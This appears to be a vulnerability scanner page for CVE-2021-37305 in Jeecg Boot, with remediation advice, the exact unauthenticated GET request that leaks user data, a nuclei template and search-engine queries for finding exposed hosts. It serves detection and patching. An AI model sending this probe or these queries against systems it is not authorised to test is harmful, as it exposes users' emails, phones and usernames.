Jeecg Boot <= 2.4.5 - Sensitive Information Disclosure

highseverity

7.5CVSS score

3.5%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

Jeecg Boot <= 2.4.5 API interface has unauthorized access and leaks sensitive information such as email,phone and Enumerate usernames that exist in the system.

Impact

An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to unauthorized access or data leakage.

Fix

Upgrade Jeecg Boot to version 2.4.6 or later to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/jeecg-boot/sys/user/querySysUser?username=admin
Positive when: contains "username\":\"admin" and "success\":true" and "result\":{" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2021-37305 -u <target>

The full check

id: CVE-2021-37305

info:
  name: Jeecg Boot <= 2.4.5 - Sensitive Information Disclosure
  author: ritikchaddha
  severity: high
  description: |
    Jeecg Boot <= 2.4.5 API interface has unauthorized access and leaks sensitive information such as email,phone and Enumerate usernames that exist in the system.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to unauthorized access or data leakage.
  remediation: |
    Upgrade Jeecg Boot to version 2.4.6 or later to fix the vulnerability.
  reference:
    - https://github.com/jeecgboot/jeecg-boot/issues/2794
    - https://nvd.nist.gov/vuln/detail/CVE-2021-37305
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-37305
    cwe-id: CWE-732
    epss-score: 0.0352
    epss-percentile: 0.89324
    cpe: cpe:2.3:a:jeecg:jeecg:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: jeecg
    product: jeecg
    shodan-query:
      - title:"Jeecg-Boot"
      - http.title:"jeecg-boot"
    fofa-query:
      - title="JeecgBoot 企业级低代码平台"
      - title="jeecg-boot"
      - title="jeecgboot 企业级低代码平台"
    google-query: intitle:"jeecg-boot"
  tags: cve2021,cve,jeecg,exposure,vuln,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/jeecg-boot/sys/user/querySysUser?username=admin"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'username":"admin'
          - 'success":true'
          - 'result":{'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from